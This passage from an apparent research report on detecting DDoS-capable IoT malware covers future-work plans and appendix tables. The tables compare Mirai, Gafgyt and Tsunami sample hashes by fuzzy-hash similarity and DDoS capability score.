execution traces, functions graphs, network profile or any relevant 
information that can help detect other malware or prevent DDoS attacks. 
The knowledge base should also be integrated inside a global framework 
with unified data representation to help a common understanding inside 
the community, and to facilitate sharing of relevant findings, tools, and 
algorithms. 
Virus’s labs have more resources; do extensive analysis on the malware 
including dynamic analysis and use powerful proprietary software, the 
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results of their analysis are often accurate, however, new malware are not 
analysed in real-time, and some of them can be in the nature for a while 
before it is analysed and the result is available, thus, it could be a good 
addition to have a collaborative framework where security actors can work 
together to build another defence line against DDoS attacks by studying 
samples, developing, and sharing the knowledge on malware behind this 
threat. 
8 Future works 
Short term future activities: 
- Use more benign datasets to have an accurate estimation on false 
positives rate and assess the used rules, as we have shown earlier, this 
can be useful to flag obsolete rules or review the weight of others. 
- Filter out statically linked functions before analysing the decompiled C 
code by creating a corpus like FLIRT 24  or alternatives databases of 
commonly linked libraries 
- Implement the rules discussed in 5.4 and remove the ones shown to be 
obsolete in 6.3. 
Main future work activities 
Develop more fine-grained denial of service capability detection models 
based on: 
- Strings: we can take advantage form strings used in most malware 
performing DDoS attacks, regardless of the method used to detect the 
malware. The idea is to create comparing tool that uses the string-based 
signature of binary and compare it with a database of confirmed malware 
signatures. Besides, during the data analysis step we have observed that 
some lexically non-interpretable strings have a very high frequency and 
they were found in several binaries, we think it would be useful if we 
create a corpus of strings commonly and frequently used in DDoS 
malware regardless of their lexical meaning. 
- Dynamic analysis: implement an isolated environment where we can 
execute malware samples and record the execution traces, as it was done 
in static analysis stage, data will be analysed to draw conclusions and 
implement solutions that can be integrated within the framework.  
- Network activity: make an extensive study of samples and deriving its 
associated network profiles to be able to link DDoS attacks footprint on 
network traffic with a given malware profile. 
                                                 
24
 https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml 
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9 Appendix 
9.1 Fuzzy hash comparing tables 
The yellow column shows the respective DDoS score of the compared 
malware whereas the blue shows the difference of those two scores. 
The last column shows the highest result of the 4 hashing methods 
(SSDEEP and SDHash on binaries and assembly code) 
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Table 9 Top matches between Mirai and unknown binaries using fuzzy hash 
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0c1675bf83c5031b3df8db0cba04400af169d9a6 0.15 Mirai 72928 mips 1 1 1089a63ab161fb356aef103f250d752f48237a40 0.15   72928 mips 1 1 96 94 100 99 97.25 0 100 
18ccd2742c877e601e9c39ed33c49da3e7a430f2 0.12 Mirai 67488 mips 1 1 245334c0b0398a1777986ae79d282a0b941e77f9 0.12   67488 mips 1 1 99 97 99 100 98.75 0 100 
18ccd2742c877e601e9c39ed33c49da3e7a430f2 0.12 Mirai 67488 mips 1 1 a0e1264efbad06856d773ccc9cfe4e4e0a434d17 0.12   67488 mips 1 1 100 96 100 100 99 0 100 
18ccd2742c877e601e9c39ed33c49da3e7a430f2 0.12 Mirai 67488 mips 1 1 b13e3a57dd03eda7a6bc62347e03721bf67de4ae 0.12   67488 mips 1 1 99 94 98 100 97.75 0 100 
1d59f49bcaed166e6f75b6a5399aa5e26b6dd250 0.12 Mirai 65088 mips 1 1 9754663577b2c3801f83cff9aa6f5ef0aeeb2966 0.12   65088 mips 1 1 99 97 100 97 98.25 0 100 
2c143be35ec4cc0aae07e7949771832e6a5f3f1a 0.09 Mirai 49200 m68k 1 0 5e3d91efdaaafcf2cff2e6c43f841307cff4f781 0.09   49200 m68k 1 0 99 0 100 0 99.5 0 100 
5e64d9a328bf235bf08bc37e55a2a0c14820ad3b 0.09 Mirai 59236 sparc 1 0 84db5a811f4967e8182b56e45fb5c6e188f5f926 0.09   59236 sparc 1 0 97 0 100 0 98.5 0 100 
6c78f26fde757f3d93334aa4a132f46d32c57e07 0.09 Mirai 44692 sh 1 0 c8e6bc309d424c63ecab1eb27a82a90dd2c65aa4 0.09   44692 sh 1 0 100 0 80 0 90 0 100 
917c3858de2ca7e87cf2708bbb09196659daeac6 0.29 Mirai 122818 arm 0 1 cf709e1ce75636f71278581c60e8a8d794c91ad4 0.29   122818 arm 0 1 99 97 100 98 98.5 0 100 
b5f7f7d1ca40a21bd628f30854660f7e78dac803 0.18 Mirai 53852 x86 1 1 0cd55e8226e43598ddb891ad430b57a451602054 0.18   53852 x86 1 1 97 96 83 100 94 0 100 
11a26fc1f8b89ed0c9b5b444e98360b5cfe7af43 0.15 Mirai 72928 mips 1 1 1089a63ab161fb356aef103f250d752f48237a40 0.15   72928 mips 1 1 97 94 100 99 97.5 0 100 
59a53412594d233e60e332f49ab888bfaf98793f 0.15 Mirai 72928 mips 1 1 1089a63ab161fb356aef103f250d752f48237a40 0.15   72928 mips 1 1 96 94 100 100 97.5 0 100 
7bcc09b58655fccd00c50a4f3c6fda835355ef47 0.15 Mirai 72928 mips 1 1 1089a63ab161fb356aef103f250d752f48237a40 0.15   72928 mips 1 1 96 94 100 99 97.25 0 100 
d3ae921b9687f1a4a0cb04e1bd4b064a407e723b 0.09 Mirai 65128 mips 1 1 3400ae858ab1a1bfb420a6cc3e6e8c18e8982d2e 0.09   65128 mips 1 1 100 97 99 99 98.75 0 100 
c5b6bc4dc7d8010dd8d5a855d480096d8e515d5f 0.18 Mirai 45660 x86 1 1 3aa8499afef049d1b0d4377924797ccd4aaf7a49 0.18   45660 x86 1 1 100 93 99 97 97.25 0 100 
e5fe9d3dd274d76fed1b9ae3f3ff83a46146771e 0.09 Mirai 59236 sparc 1 0 84db5a811f4967e8182b56e45fb5c6e188f5f926 0.09   59236 sparc 1 0 97 0 100 0 98.5 0 100 
0dd18b6f392eec4f8b7f9c9be53fec96ab56bc66 0.15 Mirai 43488 arm 1 1 bfcddbdafb8543e5f9cd5f66d9f069f9c58f9f91 0.15   43488 arm 1 1 97 96 99 98 97.5 0 99 
1d59f49bcaed166e6f75b6a5399aa5e26b6dd250 0.12 Mirai 65088 mips 1 1 2b2339f4a4cd623681135596e9ba8ce32c780287 0.12   65088 mips 1 1 97 94 99 96 96.5 0 99 
36eae9b881af69cb92e1129608866825085742be 0.12 Mirai 48164 ppc 1 1 4db7a4cdafc0b0c840713e6077adcff6b66f19e1 0.12   48164 ppc 1 1 97 93 98 99 96.75 0 99 
36eae9b881af69cb92e1129608866825085742be 0.12 Mirai 48164 ppc 1 1 6dea3106a901a13b10e3bfffd770647c79254bf9 0.12   48164 ppc 1 1 99 94 99 98 97.5 0 99 
36eae9b881af69cb92e1129608866825085742be 0.12 Mirai 48164 ppc 1 1 da29e174f9eab31d007219b3eafbf3b8c99cd6e8 0.12   48164 ppc 1 1 97 94 99 99 97.25 0 99 
babbb38fabe5aa0cbb2fe9f24d041c87f65b99f3 0.12 Mirai 50928 arm 1 1 cbb3765cbe6557a29e57d2c81d4e39bc886d3dc1 0.12   50928 arm 1 1 99 96 99 98 98 0 99 
babbb38fabe5aa0cbb2fe9f24d041c87f65b99f3 0.12 Mirai 50928 arm 1 1 dbd029b481cd78fbbaa4a4e0663cc45c187eb4db 0.12   50928 arm 1 1 99 94 98 98 97.25 0 99 
9c97c5c6bd326b9181b27ae0097824f7805bb876 0.18 Mirai 53852 x86 1 1 0cd55e8226e43598ddb891ad430b57a451602054 0.18   53852 x86 1 1 97 96 83 99 93.75 0 99 
8764cea4414c3f58a0f773ced36608e443e73a19 0.29 Mirai 121614 arm 0 1 312c8346ccb5ad6ed7ace9ce1e569300619697e3 0.29   121614 arm 0 1 99 97 99 99 98.5 0 99 
bd31b42b53d9009ead4838ce0ad584a7daa1b867 0.18 Mirai 45660 x86 1 1 3aa8499afef049d1b0d4377924797ccd4aaf7a49 0.18   45660 x86 1 1 99 90 99 98 96.5 0 99 
52b9a73a9be9407ee5e4c4de4224183adae04a0e 0.09 Mirai 63384 mips 1 1 479d4fd64bbab6ccb1e7d22eac7b281590d2bf05 0.09   63384 mips 1 1 99 96 86 98 94.75 0 99 
eefa553a1435c9a008d34f66b6decc0c290bbc15 0.09 Mirai 59236 sparc 1 0 84db5a811f4967e8182b56e45fb5c6e188f5f926 0.09   59236 sparc 1 0 97 0 99 0 98 0 99 
d754b694b88f2abf19542fb85f29a7b3985ea281 0.15 Mirai 60424 arm 1 1 d0b10a5d45d1e8b585eb79bd90e78e2f83615ae5 0.15   60424 arm 1 1 99 94 97 98 97 0 99 
0dd18b6f392eec4f8b7f9c9be53fec96ab56bc66 0.15 Mirai 43488 arm 1 1 0f6330ce70337e33f697323e07eae461edaecace 0.15   43488 arm 1 1 97 96 98 97 97 0 98 
1d59f49bcaed166e6f75b6a5399aa5e26b6dd250 0.12 Mirai 65088 mips 1 1 7738be78619d4db96000d256fcfd5b54b6ed9f60 0.12   65088 mips 1 1 97 94 98 98 96.75 0 98 
1ea71919dd9a3cf5f4bba1f8295fb24eecc8182a 0.12 Mirai 54364 ppc 1 1 e1f13ddc8fb3ad407b1788a2a74ae78a2e6ad18e 0   8192 ppc 0 1 0 0 98 0 24.5 0.12 98 
307fc36ba169ec523fddff2f2606411a7807d90f 0.12 Mirai 54364 ppc 1 1 e1f13ddc8fb3ad407b1788a2a74ae78a2e6ad18e 0   8192 ppc 0 1 0 0 98 0 24.5 0.12 98 
5baf264ade4870abe5479fd38655600e2c448c0a 0.12 Mirai 54364 ppc 1 1 e1f13ddc8fb3ad407b1788a2a74ae78a2e6ad18e 0   8192 ppc 0 1 0 0 98 0 24.5 0.12 98 
6907e6dd2c84f76ec92d2012f53d315def4498df 0.12 Mirai 54364 ppc 1 1 e1f13ddc8fb3ad407b1788a2a74ae78a2e6ad18e 0   8192 ppc 0 1 0 0 98 0 24.5 0.12 98 
6f8606d56405193773bda562ee7397ac521a57c6 0.12 Mirai 54364 ppc 1 1 e1f13ddc8fb3ad407b1788a2a74ae78a2e6ad18e 0   8192 ppc 0 1 0 0 98 0 24.5 0.12 98 
917c3858de2ca7e87cf2708bbb09196659daeac6 0.29 Mirai 122818 arm 0 1 d93614f124407a36cf512ee642ac013136eab6ab 0.29   122818 arm 0 1 96 96 98 97 96.75 0 98 
a96b9e6e789de9dc5d048e7d87f936651a036c51 0.24 Mirai 129539 arm 0 1 fcfb35f1ca4ae86281f9547177852ba5bfde083a 0   8192 arm 0 1 0 0 98 0 24.5 0.24 98 
d5a724c6755ae78cf1f892a2d3734f4e3ae14a8f 0.24 Mirai 129539 arm 0 1 fcfb35f1ca4ae86281f9547177852ba5bfde083a 0   8192 arm 0 1 0 0 98 0 24.5 0.24 98 
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Table 10 Top matches between GafGyt and unknown binaries using fuzzy hash 
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01a1a5d41cbe4440cc0d0bb35caac0ee696cb973 0.82 Gafgyt 172385 arm 0 1 16a5b22937f848914fbcf214f3f604ee681bb733 0.82   172385 arm 0 1 99 97 94 100 97.5 0 100 
18d4be0d1f9912629496204aea273914d609a4e9 0.41 Gafgyt 114023 arm 0 1 d385b141410edb78c227501e1ba88532d90a1391 0.41   114023 arm 0 1 99 96 100 99 98.5 0 100 
56d34f54eb603a568275ecd572c618195f3fae7f 0.96 Gafgyt 114634 sparc 0 0 cc94ce2930bcd33c6130d7669e78b7ee39aa6f06 0.96   114634 sparc 0 0 99 0 100 0 99.5 0 100 
f8a9d4ec1d6e8516a282e35af1f70e2274aa03d3 0.76 Gafgyt 149772 ppc 0 1 3d34c42463d7a0d21fce25f3dc7221ff058de918 0.76   149772 ppc 0 1 99 96 100 100 98.75 0 100 
2d6a8e98e452bf2d94d00ce9696c1a19ccdd887d 0.96 Gafgyt 149000 x86 0 0 2fd3440b16e7fb5890984c25e5aaae2ff51a8823 0.96   149000 x86 0 0 99 0 94 0 96.5 0 99 
5a71c1663342718f450e34ee8c37f99e973aabba 0.76 Gafgyt 157876 arm 0 1 a5ecf9ab7217e3f294e2007339bccb01fe00748f 0.76   157876 arm 0 1 99 97 94 98 97 0 99 
3abf5262d78cb1230583dec7250f9f4536615afb 0.71 Gafgyt 138072 mips 0 1 1977f47d680c822dc697d7935ed06b3a8ae7f0cc 0.71   138072 mips 0 1 96 94 98 99 96.75 0 99 
9c84248c530ae23852e3f0b45a7545023f6d8ad5 0.71 Gafgyt 138072 mips 0 1 315f9a34d73be5899698ac52c61f57df82fff1da 0.71   138072 mips 0 1 97 88 99 99 95.75 0 99 
dc336ee7fbc4a3607c49efefb77eb4fccd38990a 0.96 Gafgyt 104054 x86 0 0 a32243e1ed4093ef58f8be6ef5cc1dda582e89db 0.96   104054 x86 0 0 94 0 99 0 96.5 0 99 
719e0fef413c73b233020d163a87beeddcc2dfa2 0.76 Gafgyt 91493 x86 0 1 4de7b8415e391435bc8182d1e8309d3e4bb0f05e 0.76   91495 x86 0 1 80 93 73 98 86 0 98 
18d4be0d1f9912629496204aea273914d609a4e9 0.41 Gafgyt 114023 arm 0 1 ca10c4fb3a821341c35e562caf940ca19e74efe1 0.35   80276 arm 1 1 72 0 97 43 53 0.06 97 
80b60a1fe54f87b0f0238e9da326e4c89c7a00dc 0.76 Gafgyt 91495 x86 0 1 4de7b8415e391435bc8182d1e8309d3e4bb0f05e 0.76   91495 x86 0 1 97 96 87 97 94.25 0 97 
f5bb6d3c8e3a578a7d094c832f42a57a3b98ab23 0.76 Gafgyt 130199 arm 0 1 e8abdbf498d6601068855ab6394272fc86dca851 0.76   130199 arm 0 1 71 91 87 96 86.25 0 96 
13d74ea350aa821decd459a35ef0c38538837953 0.76 Gafgyt 91493 x86 0 1 0ec2b08830e49ed9705edd85b6e7f0650ce68137 0.76   91495 x86 0 1 83 94 83 95 88.75 0 95 
13d74ea350aa821decd459a35ef0c38538837953 0.76 Gafgyt 91493 x86 0 1 0fa1516714546998c360a143389614bf449ba2ac 0.76   91495 x86 0 1 83 94 73 94 86 0 94 
642ab295f9193c6897a289c96ba4112648e271b3 0.76 Gafgyt 108944 arm 0 1 6ca97e1e4468d4b81ff8e076fa76789871181f7a 0.76   108944 arm 0 1 68 65 67 91 72.75 0 91 
ad34b8695a4307c1a92d651b92d0dd8f70660b90 0.29 Gafgyt 75557 arm 0 1 37fe9f537d79093645b8103f3a9924ded295f6bf 0.29   75561 arm 0 1 63 0 65 91 54.75 0 91 
c112280957a16576571f97091fc73e094d2d509b 0.68 Gafgyt 105156 arm 1 1 50bfb6e62a55fb0eb641966262c8b100613fa46d 0.74   141695 arm 0 1 54 0 91 53 49.5 0.06 91 
f3efee3d5eea12c43e354e249ef2bbf762b31ebc 0.76 Gafgyt 157786 arm 0 1 e8abdbf498d6601068855ab6394272fc86dca851 0.76   130199 arm 0 1 43 66 57 90 64 0 90 
1cac592b28a2662969751bde58a631867187c837 0.71 Gafgyt 117596 arm 1 1 ec4bd414eaa6cccff7384d4f1ff66676dd37d6b1 0.79   156659 arm 0 1 49 0 87 57 48.25 0.08 87 
44a1d9f3017e6da8a2af7cb316cdfbc3c98062fb 0.26 Gafgyt 82127 arm 0 1 be7794391ed7676f58fb1142fb05351a4f8042e1 0.26   82131 arm 0 1 57 0 71 87 53.75 0 87 
871194ba2bdfed06f288abb30134993f6be6b568 0.74 Gafgyt 103856 ppc 0 1 f94494945733a81be502a953ddb1ec2146f61a0f 0.74   103858 ppc 0 1 57 0 63 86 51.5 0 86 
0b14639c1c2a06166b64bd8b03083a7e695921c7 0.91 Gafgyt 99016 x86 1 0 75773297bf2911ce5fa505907b8075803a426ce6 0.91   129800 x86 0 0 44 0 85 0 64.5 0 85 
e7710b7c42deeafca846135dee096e66c697ebae 0.71 Gafgyt 92784 x86 1 1 9f23f8e273bc17f70ed3d00687a70e94e38def85 0.82   117430 x86 0 1 0 0 85 39 31 0.11 85 
01a1a5d41cbe4440cc0d0bb35caac0ee696cb973 0.82 Gafgyt 172385 arm 0 1 5a6dd7066d9a76a364ec129c3d7cb6e7079a393f 0.82   172385 arm 0 1 57 66 84 81 72 0 84 
01a1a5d41cbe4440cc0d0bb35caac0ee696cb973 0.82 Gafgyt 172385 arm 0 1 a22b483486b3782fd03f1b1a31226963ea094e6e 0.82   172385 arm 0 1 58 66 84 80 72 0 84 
e8016b68c6b30b3afbc8f45ae1e65e6e14537d9f 0.68 Gafgyt 113444 ppc 1 1 782b8ce95908a125d736918e5ed51e768c192fb0 0.74   137859 ppc 0 1 0 0 84 53 34.25 0.06 84 
14e51f43c9cc58b53e5c86b7c0fd947588c8a963 0.74 Gafgyt 143285 arm 0 1 5db8c01df0a1b620ccc0024ee463107860253478 0.74   115690 arm 0 1 46 0 60 83 47.25 0 83 
14e51f43c9cc58b53e5c86b7c0fd947588c8a963 0.74 Gafgyt 143285 arm 0 1 775eb0f3116d5dc690dca08be8e124c69a64edf0 0.74   115690 arm 0 1 46 0 60 83 47.25 0 83 
5a71c1663342718f450e34ee8c37f99e973aabba 0.76 Gafgyt 157876 arm 0 1 e865fb33ece91bef7aa264522c52aca7dcd646e8 0.76   157876 arm 0 1 65 49 83 79 69 0 83 
871194ba2bdfed06f288abb30134993f6be6b568 0.74 Gafgyt 103856 ppc 0 1 26e3c54630ddd809f27b2108342ec6571da4a5c3 0.74   103858 ppc 0 1 60 0 63 83 51.5 0 83 
56e9c5e50a03b12f73a19bb00bb60062eddac02e 0.71 Gafgyt 88688 x86 1 1 3a0ac3b736c86424c61dff99aa70c5b4cf230225 0.82   113334 x86 0 1 0 0 83 38 30.25 0.11 83 
5a71c1663342718f450e34ee8c37f99e973aabba 0.76 Gafgyt 157876 arm 0 1 46e61c2066d775f6e191942201bf43374f8edd6c 0.76   157876 arm 0 1 65 49 83 79 69 0 83 
9601127ac0e1eeae8295ee802e9697e81e256415 0.82 Gafgyt 172385 arm 0 1 a22b483486b3782fd03f1b1a31226963ea094e6e 0.82   172385 arm 0 1 58 66 80 81 71.25 0 81 
d381c079b028824071d1ecb5bd3b466d7078db94 0.76 Gafgyt 157876 arm 0 1 e865fb33ece91bef7aa264522c52aca7dcd646e8 0.76   157876 arm 0 1 65 47 81 77 67.5 0 81 
9601127ac0e1eeae8295ee802e9697e81e256415 0.82 Gafgyt 172385 arm 0 1 16a5b22937f848914fbcf214f3f604ee681bb733 0.82   172385 arm 0 1 68 63 81 79 72.75 0 81 
d381c079b028824071d1ecb5bd3b466d7078db94 0.76 Gafgyt 157876 arm 0 1 46e61c2066d775f6e191942201bf43374f8edd6c 0.76   157876 arm 0 1 65 47 81 77 67.5 0 81 
f9a5aa0f149a95c87ba17de90b34e65ab537b49f 0.76 Gafgyt 108966 arm 0 1 6ca97e1e4468d4b81ff8e076fa76789871181f7a 0.76   108944 arm 0 1 66 0 53 81 50 0 81 
d381c079b028824071d1ecb5bd3b466d7078db94 0.76 Gafgyt 157876 arm 0 1 a5ecf9ab7217e3f294e2007339bccb01fe00748f 0.76   157876 arm 0 1 69 47 81 78 68.75 0 81 
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Table 11 Top matches between Tsunami and unknown binaries using fuzzy hash 
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45085c28f6585ae2dc10257595e82ee4d7f1d2a0 0.29 Tsunami 102121 mips 0 1 4bca3d8e18054aa9812a8a21bb07a6cbf6499a2f 0.29   102121 mips 0 1 54 0 0 0 13.5 0 54 
578f5949b9f791705e3a8bdb8463ac813f094baa 0.61 Tsunami 188714 x86 0 0 a1ea560767afb453637f76ad737519ca99ad3e3d 0.65   188621 x86 0 0 50 0 33 0 41.5 0.04 50 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 f0b6fd9250de28bd61214e7ea2ef4d8dfebc6e4a 0.38   96951 arm 0 1 0 43 0 0 10.75 0.18 43 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 d385b141410edb78c227501e1ba88532d90a1391 0.41   114023 arm 0 1 0 38 0 0 9.5 0.18 38 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 f0b6fd9250de28bd61214e7ea2ef4d8dfebc6e4a 0.38   96951 arm 0 1 0 38 0 0 9.5 0.21 38 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 d385b141410edb78c227501e1ba88532d90a1391 0.41   114023 arm 0 1 0 32 0 0 8 0.15 32 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 e8abdbf498d6601068855ab6394272fc86dca851 0.76   130199 arm 0 1 0 32 0 0 8 0.2 32 
e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 f0b6fd9250de28bd61214e7ea2ef4d8dfebc6e4a 0.38   96951 arm 0 1 0 29 0 0 14.5 0.62 29 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 344d12e864610baf1c2498bac5a376b04340f02a 0.79   133869 arm 0 1 0 27 0 0 6.75 0.23 27 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 5a6dd7066d9a76a364ec129c3d7cb6e7079a393f 0.82   172385 arm 0 1 0 27 0 0 6.75 0.26 27 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 a22b483486b3782fd03f1b1a31226963ea094e6e 0.82   172385 arm 0 1 0 27 0 0 6.75 0.26 27 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 ec4bd414eaa6cccff7384d4f1ff66676dd37d6b1 0.79   156659 arm 0 1 0 27 0 0 6.75 0.23 27 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 e8abdbf498d6601068855ab6394272fc86dca851 0.76   130199 arm 0 1 0 27 0 0 6.75 0.17 27 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 ec4bd414eaa6cccff7384d4f1ff66676dd37d6b1 0.79   156659 arm 0 1 0 25 0 0 6.25 0.2 25 
e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 ec4bd414eaa6cccff7384d4f1ff66676dd37d6b1 0.79   156659 arm 0 1 0 22 0 0 11 0.21 22 
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Table 12 Top matches between Mirai, GafGyt and Tsunami malware using fuzzy hash 
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18d4be0d1f9912629496204aea273914d609a4e9 0.41 Gafgyt 114023 arm 0 1 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 38 0 0 9.5 0.18 38 
01a1a5d41cbe4440cc0d0bb35caac0ee696cb973 0.82 Gafgyt 172385 arm 0 1 2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 0 35 0 0 8.75 0.26 35 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 46d023fb937e3558d33d517b4610e962a8967c22 0.96 Gafgyt 164279 arm 0 0 0 35 0 0 17.5 0.4 35 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 7915450c9f2351236e3fc1cdf46e221526072193 0.38 Gafgyt 96955 arm 0 1 0 35 0 0 8.75 0.18 35 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 de800b14f90196f98d12676fca5adcb5da82ede7 0.96 Gafgyt 164300 arm 0 0 0 35 0 0 17.5 0.4 35 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 72dbf7608619221213321f76f567cfd4810dc0a4 0.79 Gafgyt 135477 arm 0 1 0 33 0 0 8.25 0.23 33 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 f5bb6d3c8e3a578a7d094c832f42a57a3b98ab23 0.76 Gafgyt 130199 arm 0 1 0 33 0 0 8.25 0.2 33 
18d4be0d1f9912629496204aea273914d609a4e9 0.41 Gafgyt 114023 arm 0 1 2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 0 32 0 0 8 0.15 32 
7915450c9f2351236e3fc1cdf46e221526072193 0.38 Gafgyt 96955 arm 0 1 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 32 0 0 8 0.21 32 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 9601127ac0e1eeae8295ee802e9697e81e256415 0.82 Gafgyt 172385 arm 0 1 0 32 0 0 8 0.26 32 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 acf362164c1b9f8646c418ef6149ff34dba7ed89 0.76 Gafgyt 130197 arm 0 1 0 32 0 0 8 0.2 32 
46d023fb937e3558d33d517b4610e962a8967c22 0.96 Gafgyt 164279 arm 0 0 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 30 0 0 15 0.37 30 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 de800b14f90196f98d12676fca5adcb5da82ede7 0.96 Gafgyt 164300 arm 0 0 0 30 0 0 15 0.37 30 
01a1a5d41cbe4440cc0d0bb35caac0ee696cb973 0.82 Gafgyt 172385 arm 0 1 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 29 0 0 7.25 0.23 29 
0dbaa867c7cc042cb808fc3c605aaf67147104d8 0.79 Gafgyt 144332 arm 0 1 2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 0 29 0 0 7.25 0.23 29 
6c85dc8d17edbdd216a136c4cef22513db3888a0 0.96 Gafgyt 156343 arm 0 0 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 29 0 0 14.5 0.37 29 
72dbf7608619221213321f76f567cfd4810dc0a4 0.79 Gafgyt 135477 arm 0 1 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 29 0 0 7.25 0.2 29 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 6c85dc8d17edbdd216a136c4cef22513db3888a0 0.96 Gafgyt 156343 arm 0 0 0 29 0 0 14.5 0.4 29 
2a8dc05cca7da24e5feb3b00bffaeeafc069891a 0.56 Tsunami 115159 arm 0 1 f3efee3d5eea12c43e354e249ef2bbf762b31ebc 0.76 Gafgyt 157786 arm 0 1 0 29 0 0 7.25 0.2 29 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 acf362164c1b9f8646c418ef6149ff34dba7ed89 0.76 Gafgyt 130197 arm 0 1 0 29 0 0 7.25 0.17 29 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 f3efee3d5eea12c43e354e249ef2bbf762b31ebc 0.76 Gafgyt 157786 arm 0 1 0 29 0 0 7.25 0.17 29 
e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 f3efee3d5eea12c43e354e249ef2bbf762b31ebc 0.76 Gafgyt 157786 arm 0 1 0 29 0 0 14.5 0.24 29 
0dbaa867c7cc042cb808fc3c605aaf67147104d8 0.79 Gafgyt 144332 arm 0 1 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 27 0 0 6.75 0.2 27 
0dbaa867c7cc042cb808fc3c605aaf67147104d8 0.79 Gafgyt 144332 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 27 0 0 13.5 0.21 27 
72dbf7608619221213321f76f567cfd4810dc0a4 0.79 Gafgyt 135477 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 27 0 0 13.5 0.21 27 
acf362164c1b9f8646c418ef6149ff34dba7ed89 0.76 Gafgyt 130197 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 27 0 0 13.5 0.24 27 
a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 f5bb6d3c8e3a578a7d094c832f42a57a3b98ab23 0.76 Gafgyt 130199 arm 0 1 0 27 0 0 6.75 0.17 27 
e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 f5bb6d3c8e3a578a7d094c832f42a57a3b98ab23 0.76 Gafgyt 130199 arm 0 1 0 27 0 0 13.5 0.24 27 
843355f248a1da805bab5e52407b3265380faa32 0.12 Mirai 57232 mips 1 1 ddf35bf29f901154cb89563bb7bcc93999d37c8d 0.12 Gafgyt 60652 mips 1 1 0 0 0 26 6.5 0 26 
01a1a5d41cbe4440cc0d0bb35caac0ee696cb973 0.82 Gafgyt 172385 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 25 0 0 12.5 0.18 25 
122e5a8a8b8b3ee16f7e78c332173302825d3504 0.15 Gafgyt 56696 arm 1 1 e50ad2e5fd37d7d7231d61bd631bf1aca9d031a3 0.12 Mirai 66692 arm 1 1 0 0 0 25 6.25 0.03 25 
18d4be0d1f9912629496204aea273914d609a4e9 0.41 Gafgyt 114023 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 25 0 0 12.5 0.59 25 
46d023fb937e3558d33d517b4610e962a8967c22 0.96 Gafgyt 164279 arm 0 0 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 25 0 0 12.5 0.04 25 
7915450c9f2351236e3fc1cdf46e221526072193 0.38 Gafgyt 96955 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 25 0 0 12.5 0.62 25 
